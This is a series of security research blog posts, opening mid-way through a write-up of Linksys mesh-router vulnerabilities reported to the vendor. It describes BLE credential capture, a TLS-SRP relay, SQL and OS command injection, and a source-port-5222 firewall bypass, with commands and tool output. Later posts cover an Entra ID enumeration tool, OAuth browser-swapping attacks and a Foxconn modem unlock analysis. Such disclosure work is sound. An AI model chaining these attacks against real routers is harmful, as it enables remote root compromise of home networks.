Instead of diving into all this script does right away, it’s often easier to just see it in action. So the next step was to factory-reset the MR9600 by holding the reset button on the back and waiting until the router is ready to be configured again. By utilizing the “nRF Connect for Mobile” Android app, we can see the Bluetooth Low Energy advertisements, the router is sending every few seconds.
Bluetooth Low Energy advertisement
As you can see, the router sends out some flags, its name Linksys, some manufacturer data and a UUID, identifying the primary service the router is offering. Speaking of services, after connecting to the router using, again, the nRF Connect app, we can find the advertised service including two characteristics with very similar UUIDs.
Service offered by the MR9600
The next logical step is to just clone the advertisement, service and characteristics, and see, if the router wants to connect. Thankfully, the nRF Connect app can do that with just the click of a button. After setting up the MR9600 again to be fully functional, we start advertising ourselves with the cloned advertisement and services and click the button in the web interface to add a new child node. And after around ten seconds of waiting, the MR9600 connects to the app and actually leaves some data in the characteristic with the UUID 00002082-8eab-46c2-b788-0e9440016fd1:
That definitely looks like Wi-Fi credentials and some login data! To continue the configuration, the node has to connect to this hidden Wi-Fi network and talk to some service with those credentials. After looking through all scripts that get called when the router receives these details over Bluetooth, we finally come across two binaries: /usr/sbin/sct_server and /usr/sbin/sct_client (sct might stand for “smartconnecttool” or simply “smartconnect”? That is how this feature is called inside all the scripts). After gaining shell access again on our router with the previously described method, we can see sct_server running on port 6060:
Next step is, again ignoring possible reverse engineering of the binaries itself, to just execute the sct_client binary and intercept the TCP packets. Because the binary accepts an IP address as input, we start socat on our attacker machine and listen on port 6061 (to make our lives easier when filtering the packets in Wireshark), redirecting incoming packets back to the router to port 6060. With Wireshark running, we execute the client binary with the credentials from the Bluetooth data and observe the packets.
1
2
3
4
5
6
7
8
9
10
11
12
linksys@192.168.2.1:~$/usr/sbin/sct_client --helpUsage: sct_client [options]
-i, --ip <addr>IP address of server
-p, --port <port>Port of the server
-l, --login <login>Login from credential
-w, --password <password>Password from credential
-d, --deviceid <device ID>Device Identifier
-m, --msgtype <msg type>Type of message: sync, update ...
-v, --verbose Dump request data and response
-h, --help Show this help
linksys@192.168.2.1:~$/usr/sbin/sct_client -i 192.168.2.57 -p 6061 -l sZqQTToTUP -w ovdHlC4rUTZq0frqC4nB -d TestID
Wireshark output after staring sct_client
As Wireshark clearly shows, a TLS connection is established using TLS-SRP, a TLS standard using a username and password for securing the connection. That is the point where the additional credentials from the Bluetooth connection come into play, as these are used here for the TLS-SRP connection. But because this is a TLS connection, we cannot directly view the data that is sent usually between the devices but in this case only device as we just relayed the packets back to the same router. So what can we do?
Normally, TLS-SRP can be more resistant against machine-in-the-middle attacks as both sides need to know the username and password, because the encryption keys are calculated with these as a base. But once you know username and password, nothing prevents you from creating your own server which accepts a TLS-SRP connection, reads the data and forwards it to the original server by using the known username and password.
To eavesdrop on the connection, a small tool was created in C to talk to the OpenSSL library for setting up a server and a client. The program only accepts the TLS-SRP connection, reads the data and forwards it back to the server. After starting it and executing the same command as before, we can now see the plaintext data that is sent through the TLS connection.
1
2
3
4
5
6
7
8
9
10
11
attacker@192.168.2.57:~$./tlssrp-relay 6061 192.168.2.1 6060 sZqQTToTUP ovdHlC4rUTZq0frqC4nB
[+] Listener started on: 0.0.0.0:6061
[*] Trying to connect to 192.168.2.1:6060
[+] Connected to 192.168.2.1:6060
[*] Waiting for connection...
[+] New connection from: 192.168.2.1:38543
[+] Client: OSCT[...]
[+] Client: {"version": "0.1", "type": "sync_request", "client_id": "FBFA9E31-BE8C-4B63-A0BE-E89F80B304EA"}
[+] Server: OSCT[...]
[+] Server: {"ADMIN": {"syscfg": [{"device::admin_password": "LinksysAdminPW"}], "sysevent": [{"config_sync::admin_password_synchronized": "1"}]}, [...]
The output shows that the client binary can successfully connect to our tool and sends as well as receives data. But wait. The password in the response labeled device::admin_password is the password we set as the password for accessing the web interface! So the next goal is clear: Get that password from our device without having root access to the router already.
Exposure of administrative password
Reaching the goal was straight forward. We developed a small python script which does the following steps:
Send Bluetooth Low Energy advertisements
Accept a Bluetooth Low Energy connection and provide the previously discovered services
Read the data the router writes to one of the characteristics
Connect to the hidden Wi-Fi using the passphrase from the data
Connect to the sct_server using TLS-SRP and replay the messages we saw previously in our tool
Read the response and display interesting information
attacker@192.168.2.57:~$python meshhacks.py -w wlp0s20f3
__ __ _ _ _ _
| \/ | | | | | | | | |
| \ / | ___ ___| |__ | |__| | __ _ ___| | _____
| |\/| |/ _ \/ __| '_ \| __ |/ _` |/ __| |/ / __|
| | | | __/\__ \ | | | | | | (_| | (__| <\__ \
|_| |_|\___||___/_| |_|_| |_|\__,_|\___|_|\_\___/
Hacking the Linksys Intelligent Mesh
Version 1.0.0
[ Christian Zäske | SySS GmbH ]
[*] Initializing bluetooth...
[*] connecting to HCI...
[+] connected
[*] Turning bluetooth on...
[*] Start advertising
[+] Waiting for connection...
[+] Connection from E8:9F:80:B3:04:EA/P
[+] WRITE from E8:9F:80:B3:04:EA/P: b'\x00\x01'
[+] WRITE from E8:9F:80:B3:04:EA/P: b'\x00\x02'
[+] WRITE from E8:9F:80:B3:04:EA/P: b'\x00\x03\x01\x91'
[+] WRITE from E8:9F:80:B3:04:EA/P: b'Host:www.linksyssmartwifi.com\nX-JNAP-Action:http://linksys.com/jnap/nodes/smartconnect/SmartConnectConfigure\nX-JNAP-Authorization:Basic YWRtaW46YWRtaW4=\nContent-Type:application/json;charset=utf-8\n{"configApSsid":"3MvOZgYk62rhHyicrTu9QDHXD8QhOceW", "configApPassphrase":"eyuaZP6RXetJiu3jyQItyVR4spEdt1bfbZXNP28eHm8SeSFRAn9BcI74h2xmbKa", "srpLogin":"ZlxFkyhGCc", "srpPassword":"Kn3WRJ9yZWPM_1VwCrm7"}\n'
[+] Found AccessPoint config
[*] Restoring bluetooth config
[*] Initializing wifi...
[*] Turning wifi on
[*] Trying to connect [1/5]
[+] Successfully connected
[*] Trying to connect to service
[+] Connected to service
[+] Sending sync request
[+] Congratulations! Here is your data:
Admin password: LinksysAdminPW
WiFi SSID: LinksysWIFI
WiFi Password: LinksysWIFIPW
WiFi security: wpa2-personal
WPS pin: 63091700
After the script is done, it shows the administrative password, as well as some Wi-Fi and WPS information. Because this is used for a mesh network, sending the Wi-Fi and WPS information is of course necessary for the node in order to be able to create the same Wi-Fi network. But clearly sending out the administrative password to anyone who knows the protocol is a security risk.
You might remember that we needed to click on a button in the web interface to let the MR9600 search for other devices and for that, we obviously already needed the password. But the online help shows that there is also another way of triggering the search for other devices:
Adding nodes with the reset button
This method makes the administrative password inside the data a security risk again because we can walk to the router, press the reset button five times, and the MR9600 will give us the password to access the web interface!
This vulnerability was reported to Linksys with the security advisory SYSS-2025-002.
Hacking without physical access
All the described methods need physical access to the router. The USB drive needs to be plugged into the back and for getting the administrative password we need to press the button on the back. But security vulnerabilities are way cooler if we do not need the physical access and if access in the same network is enough. So we need to find another way to hack the device.
The sct_server is already a great starting point as the service is listening on port 6060 on all interfaces except the wan interface. This means, we need to find a way to get a username and password for the TLS-SRP handshake. This is where we need our reverse engineering skills and have a look at the sct_server binary. We use Ghidra to disassemble and decompile the binary and find the function that verifies the username and password for the connection:
Function to verify the TLS-SRP username and password
Apparently, the script /usr/sbin/smcdb_auth is used to gather all the required parameters. It accepts the username as a parameter and returns the username, password, salt and so-called “verifier”, which is mandatory to encrypt the TLS-SRP traffic. This script queries the data from a sqlite database file and executes the following lines:
1
2
3
4
5
6
7
8
9
if[-n"$ARG_LOGIN"]&&["$ARG_LOGIN"!=""];then
if[-z$(echo$ARG_LOGIN | grep-E ^[A-Za-z0-9_.]+$)];then
echo"[$0] Invalid login characters (ARG_LOGIN: $ARG_LOGIN)"> /dev/console
exit 1
fi
fi
SQL="SELECT srplogin, srppassword, salt, verifier FROM authorize WHERE srplogin='$ARG_LOGIN';"RET=`sqlite3 "$DB""$SQL"`echo"$RET"
$ARG_LOGIN contains the provided username, and $DB is the path of the sqlite database file. But running SQL statements with user-controllable values is very risky and needs proper sanitization, which is tried in lines 1-6. grep is used to confirm that the username matches the regular expression. If the result is empty, “invalid login characters” are used and the script terminates. But this check comes with a critical flaw: grep applies the regular expression on a per line bases. And by providing a username containing a line break, the grep command will still return something, if one of the lines contains only valid characters, as shown in the following example:
The username itself, which is used to check the password, has a SQL injection! This is the vulnerability we were looking for!
With the help of our existing root shell access we can read the database file and have a look at the structure. The table authorize contains the following data:
Table authorize of the database file
By developing another python script, which simply adds a row to the sqlite database containing an ID, device ID, username, password, salt and verifier of our choice, we can establish the TLS-SRP connection and get access to the administrative password again. And even tough TLS-SRP usernames have a maximum length of 128 characters and the length of the verifier itself is 256 characters (128 byes in hexadecimal format), we can simply use the convenience of SQL and append each character to the verifier column one by one as there is no brute-force protection or similar that would stop us from doing a lot of requests.
After the database is modified, we can now use our own username and password to successfully establish a connection and read the administrative password without the need of physical access.
This vulnerability was reported to Linksys with the security advisory SYSS-2025-009.
The missed flaw
The description of the previous security vulnerability contained another critical flaw that you might already pick up. Did you see how the username is sent to the /usr/sbin/smcdb_auth script? It is just a command line parameter set by the snprintf function which only replaces %s with the variable param_1, containing the username. By very simply including a semicolon in our username and avoiding the 128-character limit, we can execute shell commands, again, without knowing any valid username or password.
This vulnerability is already fixed in the firmware of other models, but the latest firmware of our models, MR9600 and MX4200, both still contain this issue at time of writing.
This vulnerability was reported to Linksys with the security advisory SYSS-2025-010.
From Mesh pairing to command execution
We already have got two ways to execute commands on the devices, but the first one requires physical access and the second one is already fixed in other models.
This is where EMBA rescues the day! EMBA is a “security analyzer for firmware of embedded devices”. You give it the firmware, it finds the vulnerabilities. After doing its magic for a couple of hours, it presents 67 usages of the eval command in shell scripts, running the string you give it as a command, which is very dangerous if the user can control part of that string. And one occurrence is particular interesting as there is a way to control part of that string. The file /tmp/cron/cron.everyminute/offline-notifier.cron contains the following lines and is executed every minute.
1
2
3
4
5
6
7
8
9
VARS="$(syscfg show |
grep node-off |
sed-r"s/^[^:]+:://g" |
while read i;do
echo"$i;"done)"
logstatus "Processing Node Slave offline messages"eval$VARS
To understand what is happening there, we need to know the syscfg command, which gets executed first. It is used to store persistent key value pairs on the device. syscfg set <key> <value> can set those values, while syscfg get <key> retrieves the value of the specified key. syscfg show is used to display all the saved key value pairs, as shown in the following:
1
2
3
4
5
6
7
8
linksys@192.168.2.1:~$syscfg show
smart_connect::wl1_sta_inf=eth5
user_1_id=1000
user_1_group=admin
ui::remote_host=cloud1.linksyssmartwifi.com
device::uuid=FBFA9E31-BE8C-4B63-A0BE-E89F80B304EA
[...]
As you can see, some keys follow the scheme of <key>::<subkey> which only seems to be an organizing strategy as there is no hierarchy for the keys. This is also useful in the bash script above, because after printing all key value pairs, it filters them for the string node-off using grep.
1
2
3
4
5
6
7
linksys@192.168.2.1:~$syscfg show | grep node-off
node-off::min_offline_time=3
node-off::enabled=1
node-off::cache_dir=/tmp/msg
node-off::enable_cloud=1
node-off::debug=0
After some sed and bash magic, those five key value pairs get transformed into shell commands that set these as environment variables.
1
2
3
4
5
6
linksys@192.168.2.1:~$ syscfg show | grep node-off | sed -r "s/^[^:]+:://g" | while read i; do echo "$i;"; done
min_offline_time=3;
enabled=1;
cache_dir=/tmp/msg;
enable_cloud=1;
debug=0;
To exploit this behavior, we would need a way to set a syscfg entry ourselves. Thankfully, the sct_server running on port 6060 can not only be used to fetch data from the router, but also to send data to it. By looking at the decompiled code from Ghidra, we can see that next to the message type sync_request, there is also update.
Handling of sync_request or update
By reverse engineering more code from the binary, we can understand the protocol which works as follows.
First, the server expects a header from the client, part of it is already shown previously when intercepting the TLS-SRP connection. The header has the following structure, shown with an example header:
The Header checksum is a CRC32 checksum of the header itself with the Header checksum and Payload checksum all 0x00.
The Payload checksum is a CRC32 as well but calculated from the payload sent after the header.
Speaking of the payload, it is a JSON object as a null-terminated string containing the keys “version”, “type” and “client_id” at minimum. For pushing data to the router, the key “data” will be used containing another JSON object like the following:
Sending this as a payload with the proper header results in the following syscfg entry:
1
2
3
linksys@192.168.2.1:~$syscfg show | grep SySS
FBFA9E31-BE8C-4B63-A0BE-E89F80B304EA::SySS=1
As you can see, the first part of the key is the client_id value, a UUID value. But as Ghidra shows, the code only checks if the value exists at all and is not null. Not if it is an actual UUID.
Verifying client_id is not null
By setting the client_id value to node-off, we get the same scheme of the other syscfg entries that is used in the script above.
If we now set the value of SySS to an OS command injection payload, the eval command will execute anything we want.
This vulnerability was reported to Linksys with the security advisory SYSS-2025-011.
After finding this vulnerability, we got a successful exploit chain to get root access on the MR9600 and MX4200 from inside the local network without physical access. All we need to do is to use the SQL injection described in Hacking without physical access to create our own TLS-SRP credentials and then use the OS command injection above to execute arbitrary commands as root. Yes, we could also use the OS command injection found in the username itself, but as already describes, this is fixed for other models.
Only LAN?
At this point in time, the Linksys router can only get rooted from within the local network. But what if this would also be possible over the internet? This would definitely increase the criticality…
After looking at the routers again, something interesting, we did not look at before, caught our interest in the iptables rules of the MX4200:
1
2
3
4
5
6
7
linksys@192.168.2.1:~$iptables -S[...]
-A INPUT -i eth0 -j wan2self
-A wan2self -j wan2self_ports
-A wan2self_ports -p tcp -m tcp --sport 5222 -j xlog_accept_wan2self
-A xlog_accept_wan2self -j ACCEPT
[...]
Wait, what? These rules seemingly allow incoming TCP traffic, if it originates from port 5222, meaning: from the WAN interface.
For a quick test, we hook up our system to the WAN port of the router and provide internet access as well as DHCP to simulate the router directly being connected to an ISP. After scanning for port 443 normally, the packets get dropped by the MX4200:
1
2
3
4
5
attacker@203.0.113.1:~$nmap -sS-p 443 203.0.113.153
Host is up (0.0011s latency).
PORT STATE SERVICE
443/tcp filtered https
Then, we change the command to set the source port by adding -g 5222 and hit enter:
1
2
3
4
5
attacker@203.0.113.1:~$nmap -sS-p 443 203.0.113.153 -g 5222
Host is up (0.0011s latency).
PORT STATE SERVICE
443/tcp open https
As you can see, these rules do not seemingly allow incoming TCP traffic, they actually do allow incoming TCP traffic, as long as the source port is set to 5222. This is not only restricted to the web interface on port 443, but affects all services listening on 0.0.0.0, including the service listening on port 6060, containing the previous vulnerabilities, which are now exploitable over the internet, as long as no additional firewall is used.
This vulnerability was reported to Linksys with the security advisory SYSS-2025-014.
Conclusion
By combining our gained knowledge, we found a way to
Execute OS commands as root
without authentication (or by adding our own credentials through SQL injection)
remotely over the internet
The effect can reach from accessing the web interface for turning off the parental controls over compromising the device in order to intercept packets and getting into a machine-in-the-middle position all the way to creating entire botnets of Linksys routers. These vulnerabilities only affect Linksys as their mesh technology was the focus of this research, but because other manufacturers use their own proprietary protocols and technologies, there might be more to this story when looking at other brands.
Important to note is that these routers need an additional modem to be used with DSL, cable, etc., but provide features to be able to connect directly to the ISP (PPPoE, etc.). Accordingly, many households will probably use the Linksys models as their main router and the modem would just redirect traffic without providing an additional firewall in between, thus making the devices exploitable over the internet.
At time of writing, Linksys fixed the vulnerability reported as SYSS-2025-014 in the newest firmware update. Shortly after discovering the vulnerabilities, a “quick” scan of the internet showed about 12.000 vulnerable devices. Around six months after the fix was available, this number shrunk to around 4.000. A reason for this large drop is probably because the Linksys routers support auto-update, which is enabled by default and installs new firmware updates without any user interaction.
AzurEnum - Update2026-01-21T08:00:00+01:002026-01-21T08:00:00+01:00https://blog.syss.com/posts/azurenum-update/Domenik Jockers
Back in 2024, we published AzurEnum (SySS Tech Blog; SySS on GitHub) to help organizations and pentesters alike to identify misconfigurations within their EntraID environment.
Since then, further checks and features were added to AzurEnum, not only to increase the coverage of the tool but also to increase its usability in environments, where the use of certain authentication flows are prevented...
Back in 2024, we published AzurEnum (SySS Tech Blog; SySS on GitHub) to help organizations and pentesters alike to identify misconfigurations within their EntraID environment.
Since then, further checks and features were added to AzurEnum, not only to increase the coverage of the tool but also to increase its usability in environments, where the use of certain authentication flows are prevented via conditional access.
The new help of the tool already reflects that substantial amount has changed.
$ azurenum -h
usage: azurenum [-h][--version][-t TENANT_ID] [-u UPN] [-p[PASSWORD]] [-rt REFRESH_TOKEN] [-naa NESTED_APP_AUTH] [-i][-ua USER_AGENT] [--device-code][-rd RECURSION_DEPTH] [--proxy PROXY] [-pol][-idp][--show-directory-roles][-o OUTPUT_TEXT] [-j OUTPUT_JSON] [-nc]
AzurEnum - Enumerate EntraID fast! Version v1.1.5
Options:
-h, --help Show this help message and exit--version Show program's version number and exit
Authentication settings:
-t, --tenant-id TENANT_ID Specify tenant to authenticate to (needed for ROPC authentication or when authenticating to a non-native tenant of the given user)
-u, --upn UPN Specify user principal name to use in ROPC or interactive authentication
-p, --password [PASSWORD] Specify password to use in ROPC or interactive authentication. Leave empty for prompt
-rt, --refresh-token REFRESH_TOKEN FOCI Refresh Token to authenticate with
-naa, --nested-app-auth NESTED_APP_AUTH Expects Azure Portal Refresh Token for nested app authentication flow
-i, --interactive-auth Use Interactive Authentication flow with Selenium to retrieve a NAA token and use it. This is the default authentication method
-ua, --user-agent USER_AGENT Specify user agent (default is MS-Edge on Windows 10)
--device-code Use Device-Code Authentication flow
Enumeration settings:
-rd, --recursion-depth RECURSION_DEPTH Depth for recursion when listing nested principals [Default=1]
--proxy PROXY Use proxy for sending requests. Beware - will disable certificate checks! Example: http://127.0.0.1:8080
-pol, --policies Query additional policies for tenant like authentication methods and device policies. Always enabled for NAA Auth. For other authentications this will need another login!
-idp, --identity-provider Query identity providers and federation service configs for tenant. Always enabled for NAA Auth. For other authentications this will need another login!
--show-directory-roles Show results of /directoryRoles even though PIM is in use. Can help to identify role assignments outside of PIM!
Output:
-o, --output-text OUTPUT_TEXT Specify filename to save TEXT output
-j, --output-json OUTPUT_JSON Specify filename to save JSON output
-nc, --no-color Don't use colors
The following blog post is supposed to give an overview of newly added features and functions as well as outlining improvements in the usage of the newest version of AzurEnum.
New features
The new version of AzurEnum includes the following added configuration checks:
Cross-tenant access settings (-pol/--policies)
Identity provider and federation settings (-idp/--identity-provider)
These checks define new sections within the output of AzurEnum.
Improved functionality
Further changes improved already implemented functionality, which is described in the following section.
General
The code base of the tool has been restructured to increase readability and maintainability.
In the course of the restructuring, the tool now provides a json output, which stores the raw json information gathered from MS-Graph as well as preprocessed json objects, which reflect sections in AzurEnum log output.
To reduce API calls, the tool now gathers as much information as possible in the beginning before printing the results.
Proxy support was added as well, to facilitate debugging processes.
Since the script was restructured from a single file into a python project, it is now installable via pipx!
The new version of AzurEnum added new authentication flows to increase its usability. Device code nowadays is often blocked in tenants of organizations, while MFA is enforced for all users.
This led to AzurEnum not being usable any longer without additional exclusions in the conditional access policies.
Therefore, we implemented a refresh token flow as well as an interactive authentication.
Interactive authentication uses Selenium to open a login to the EntraID Portal and reuses the acquired refresh token to get further access tokens.
This is now the default authentication flow for AzurEnum, since it enables the usage of the “Nested App Authentication”, which allows to acquire access token for other clients and scopes.
To get a better understanding of Nested App Authentication and how it can be used to automate tools for EntraID and Azure, you can e.g. read the blog of SpecterOps.
Using Nested App Authentication also removes the need of multiple logins, even if further information like policies (--policies) or information on identity provider (--identity-provider) should be accessed, since the multitude of brokered applications covers all of the used scopes within AzurEnum.
Several enumerations were improved upon to help the user to identify misconfigurations.
To spot interesting dynamic groups, we added implicators to the output, which show if the group is relevant for a conditional access policy or is assigned an application.
Conditional access policies are now marked if they seem to control from where security information like MFA can be registered as well as if they control MFA for device registration or joining.
If neither is identified on an present policy, a warning will be prompted, that these policies are missing, since they define a minimal baseline.
In several cases we are using or used the deprecated AAD-Graph API. We now added fallbacks which should switch to the MS-Graph API if the AAD Graph is no longer (if ever!) accessible.
When enumerating role assignments, we frequently ran into situations, where roles are assigned to groups instead of users. To facilitate the enumeration of effective role assignments, we added the enumeration of the nested principals.
For groups, nested principals are members and owners and for applications (while enumerating API permissions), these include service principal as well as AppReg owners.
The depth of the nesting that should be shown can be controlled with the -rd/--recursion-depth flag.
While enumerating role assignments, further quality of life information like account status (if the administrator is actually disabled), as well as scoping information (if the assignment is only scoped for an administrative unit) is provided.
Wrapping up
The new version of AzurEnum not only increases coverage of gathered information on configurations and role assignments, but also improves the usability of the tool.
The new authentication flows adapt to state-of-the-art conditional access policies, to reduce the number of exceptions needed to use the tool for a already hardened environment.
An overview on the ideal usage of the new version is given in the GitHub repository, make sure to head over and check it out!
OAuth 2.0 Browser Swapping Attacks2025-11-03T10:00:00+01:002026-01-28T16:34:57+01:00https://blog.syss.com/posts/browser_swapping/Jonas Primbs
OAuth 2.0 is the predominant authorization standard on the modern web.
OpenID Connect (OIDC), a widespread extension of OAuth 2.0, is used for most single sign-on (SSO) systems today.
Unfortunately, the OAuth and OpenID standards do not provide sufficient protection against so-called browser swapping attacks.
OAuth 2.0 is the predominant authorization standard on the modern web.
OpenID Connect (OIDC), a widespread extension of OAuth 2.0, is used for most single sign-on (SSO) systems today.
Unfortunately, the OAuth and OpenID standards do not provide sufficient protection against so-called browser swapping attacks.
Therefore, many OAuth 2.0 and OpenID Connect implementations are vulnerable to these attacks.
This allows attackers to exploit existing protections against cross-site request forgery (CSRF) attacks to steal unused authorization codes.
They can take over the user’s client session by letting the user log in via a typically harmless link.
OAuth 2.0 Authorization Code Flow
The OAuth 2.0 standard, as defined in RFC6749, describes multiple methods by which a user, called “resource owner”, can authorize an application, called “client”, after logging in to an identity provider, called “authorization server”.
The most recently used method, which is also used by OpenID Connect, is the OAuth Authorization Code Flow, which is illustrated in Figure 1.
Figure 1: OAuth 2.0 Authorization Code Flow
When a resource owner visits a client website that requires authorization, the client’s back end initiates an authorization code flow by generating an authorization request.
The client’s back end then redirects the resource owner’s user agent (a web browser) to the authorization URL of the authorization server.
The user agent follows this redirect to the authorization server.
The authorization server will authenticate (authN) the resource owner if they do not have an active session yet. They may then authorize (authZ) the client’s requested permissions, such as reading their profile information, like their name or e-mail address.
The authorization server then generates an authorization code and includes it in the URI as a query parameter, redirecting the user agent back to the client.
The user agent follows the redirect URI back to the client.
The client then exchanges the authorization code for an access token from the authorization server. The resource owner has successfully logged in.
Cross-site request forgery attack (CSRF)
The redirect URI browsed in step 6 contains an authorization code personalized for the resource owner who performed steps 1 through 5.
Whoever browses this URI will be logged into the client with this resource owner’s account.
This allows an attacker to perform steps 1 through 5, and launch a CSRF attack, as illustrated in Figure 2.
Therefore, the attacker tricks the user into calling this redirect URI, which logs in the user with the attacker’s account.
Figure 2: CSRF attack on the OAuth 2.0 Authorization Code Flow
On Pinterest, this allowed attackers to link their social media accounts to other user’s Pinterest accounts as a backdoor link.
Attackers might also use this method in online shops to steal payment information of users.
Therefore, attackers log in the user with their account and wait until the user stores payment information on the next checkout.
CSRF prevention
The OAuth 2.0 standard recommends using the state parameter to prevent such attacks, as illustrated in Figure 3.
Figure 3: OAuth 2.0 Authorization Code Flow with CSRF protection
The client back end generates and stores this unguessable parameter for the resource owner’s session and adds it to the authorization request URL.
The authorization server reflects this state parameter in the authorization response.
Because attackers cannot guess the state parameter of the user’s session, the client detects such CSRF attacks and therefore rejects the authorization code.
Consequently, the client will not send a token request to the authorization server, leaving the authorization code unused.
The authorization code therefore remains valid.
Browser swapping attack
Unlike classic CSRF attack, in this case the attacker wants to log in with the user’s account.
To do so, the attacker performs steps 1 and 2 in their own browser, as illustrated in Figure 4.
Figure 4: Browser swapping attack on user side
The attacker gives the user the authorization request URL (step 3), e.g., via e-mail, instant messaging, or via a manipulated website.
Then, the authorization server authenticates the user (step 4) and redirects them back to the client (steps 5 and 6).
If the user already has an active session with the authorization server, step 4 may be skipped without requiring further interaction from the user.
However, since the state of the user’s session does not match the state parameter defined by the attacker, the client detects a CSRF attack and denies the request.
Figure 5: Browser swapping attack on attacker side
Next, the attacker must access the authorization code query parameter from the authorization response, which will be described in the next section.
As illustrated in Figure 5, the attacker repeats the authorization response in their own session (step 6).
Since the state parameter of the attacker’s session matches the state parameter from the authorization response, the client resolves the authorization code.
Consequently, the attacker is logged into the client with the user’s account.
Accessing the authorization code
Because the authorization code is transferred in a GET request as a query parameter, it can be leaked in various ways.
Over the last three months, SySS has discovered multiple methods of leakage depending on the client application.
1. URL sharing
Some clients respond to the authorization response (step 6) with an error, leaving the authorization code visible in the browser’s URL bar.
Using social engineering, an attacker may ask users to browse the authorization request.
After seeing the error message, users typically inform the attacker that the link does not work.
Then, the attacker asks the users to share the link to the error page, which contains the authorization code.
2. System logs
Query parameters are often logged in various locations, as illustrated in Figure 6.
Figure 6: Attack surfaces for system logs
Clients, e.g., web browsers, may leak the URL in the browser history or in debug logs which can be misused on shared workstations.
Content delivery networks (CDNs) may log the authorization code from the referer header when the browser downloads static files like /favicon.ico.
HTTP proxies, and reverse proxies or load balancers typically log all URLs, including query parameters, or forward them to third-party extensions such as intrusion detection and prevention systems (IDPSs).
Client-back-end servers typically log received query parameters, or forward them to third-party extensions such as web application firewalls (WAFs).
Centralized monitoring systems collect all logs and enable low-privileged auditors to access authorization codes from high-privileged administrators, allowing for privilege escalation.
Mitigation strategies
In general, sharing secrets like authorization codes in query parameters is a bad idea.
Therefore, alternative response modes must be used, e.g., Form Post or Fragment.
The client indicates this response mode by adding the query parameter response_mode to the authorization request (step 2).
“Form Post” (response_mode=form_post) lets the authorization server respond with an HTML form.
Using JavaScript, this form submits itself to the client, containing the authorization code as a POST parameter.
Developers should prefer this mode for all client that can receive POST requests directly, i.e., back-end clients.
“Fragment” (response_mode=fragment) lets the authorization server respond with the authorization code as fragment parameter (#code=xyz instead of ?code=xyz).
Browsers do not send fragment parameters to the server, restricting the attack vector to the client itself.
Developers should prefer this mode for all other client applications, i.e., single page applications or mobile apps.
Since the attacker defines the authorization request URL, attackers could downgrade this response mode to query.
Therefore, client developers must ensure that the authorization server enforces the chosen response mode.
Unfortunately, some authorization servers like Keycloak do not provide the option to enforce a specific response mode.
In addition, client developers should invalidate any authorization code that they see, specifically if they detect a CSRF attack.
So instead of ignoring the authorization response (step 6), the client must send any authorization code to the authorization server.
If a CSRF attack is detected, this should invalidate the authorization code instead of issuing any token.
Unfortunately, standard documents are unclear, when authorization server must invalidate authorization code.
Therefore, the exact process how a client can invalidate an authorization code depends on the specific authorization server implementation.
SySS discovered two methods, of which at least one works for most investigated authorization servers when sending a token request:
Providing no or a wrong redirect_uri parameter
Enforcing PKCE without providing the code_challenge parameter
Conclusion and future steps
SySS discovered that the underestimated browser swapping attack threatens many implementations, and standards do not provide sufficient mitigation.
At the week of publishing this document, SySS IT Security Consultant Jonas Primbs attends the IETF 124 meeting in Montreal.
His mission is to discuss possible solutions with standard authors and specify a clear solution for the upcoming OAuth 2.1 standard.
Foxconn FCC Unlock2025-09-15T14:00:00+02:002025-09-15T16:30:49+02:00https://blog.syss.com/posts/foxconn-fcc-unlock/Jan Wütherich
Many newer Dell notebooks are equipped with DW5932e WWAN modules for mobile connectivity. These modules are manufactured by Foxconn and contain a Snapdragon X62 5G modem. Unfortunately, at the time of writing this blog post, these modules do not yet work with ModemManager on Linux, meaning that mobile web is not possible. However, since this is crucial for the mobile operation of our notebooks,...
Many newer Dell notebooks are equipped with DW5932e WWAN modules for mobile connectivity. These modules are manufactured by Foxconn and contain a Snapdragon X62 5G modem. Unfortunately, at the time of writing this blog post, these modules do not yet work with ModemManager on Linux, meaning that mobile web is not possible. However, since this is crucial for the mobile operation of our notebooks, it was time to investigate this issue and find or develop a solution.
FCC lock
The reason for these modules not working is the FCC lock, which is a software restriction included in most WWAN modules shipped by various notebook manufacturers.
To allow the module to go online, an usually undocumented command must be sent to the module to unlock it.
The manufacturers claim this lock exists, so the FCC, which is the authority for certifying radio-enabled devices in the United States, can certify both notebook and modem at the same time.
More information about the FCC lock are available in the ModemManager documentation.
FoxFlss
After looking through some Dell forums, several people had success using the module under Linux with a repository called
fii_linux “Foxconn Linux application” hosted on GitHub.
This repository belongs to an account called foxconn-pc.
Whether this account is actually operated by Foxconn is unclear, but it seems unlikely considering that this repository is the only project on the account.
The repository contains some encrypted binary blobs and a tool called FoxFlss, which claims to be able to unlock the FCC lock and write “RF_Files” to the modem.
A script for ModemManager is provided, which will use the FoxFlss binary to unlock the FCC lock.
Additionally, a systemd service is provided which will write the “RF_Files” to the modem.
To ensure this repository doesn’t contain any malicious code, we loaded the FoxFlss binary into ghidra to perform static analyses.
The binary includes debug symbols with functions names, which makes reverse engineering a lot easier.
The part which decrypts the binary blobs was quickly found and it’s a simple XOR encryption with a static repeating byte.
The decompiled function used for de- and encryption
After decryption, the blobs were .tar.gz archives which then can be extracted using the tar utility.
The extracted archive contains additional binary blobs and configuration values which are loaded into the modules NVRAM by the FoxFlss binary.
Analyzing the Windows driver
In order to ensure that none of the binaries from FoxFlss are malicious, we started looking into the Windows driver.
Assuming this is an official binary by the manufacturer, it is likely that the Windows driver contains similar files which get written to the module.
We extracted the .exe downloaded from the Dell website, and one of the files looked interesting.
Looking at the debug strings of one of the files called SIMService.exe
reveals that it contains similar logs as the FoxFlss binary and might also perform the FCC unlocking sequence and the mysterious RF file writing.
Reverse engineering the executable in ghidra confirms that it indeed also writes RF files to the module, which are contained in the executable’s resources.
Log function in the Windows driver’s SIMService.exe
Log function in the Linux FoxFlss binary
Using wrestool, these resources can be listed and extracted directly from the executable:
Extracting the RF_FILE resource reveals a simple .zip file which after extraction is almost identical to the RF files written by the Linux FoxFlss binary.
The Windows driver only has some additional files.
Why these files were encrypted in the Linux binary in the first place is unclear.
1
2
3
4
5
6
7
$ diff -qr RF_Files_windows/ ../../DW5932e/RF_Files/
Only in RF_Files_windows/: 0C64
Only in RF_Files_windows/: 0CB6
Only in RF_Files_windows/: 0CBE
Only in RF_Files_windows/: 0CC2
Only in RF_Files_windows/: 0CC6
Only in RF_Files_windows/: 0CD3
Unlocking the FCC lock
To perform the FCC unlocking sequence on Linux, ModemManager bundles several scripts for various modems.
One of these scripts is for the Foxconn SDX55 chip,
where the unlocking seems really similar to the SDX62 in our modem we are interested in.
The unlocking sequence itself creates a MD5 hash based on the modem firmware versions, IMEI and a magic value and additionally a random generated salt,
to ensure the hashes will be different on every unlock.
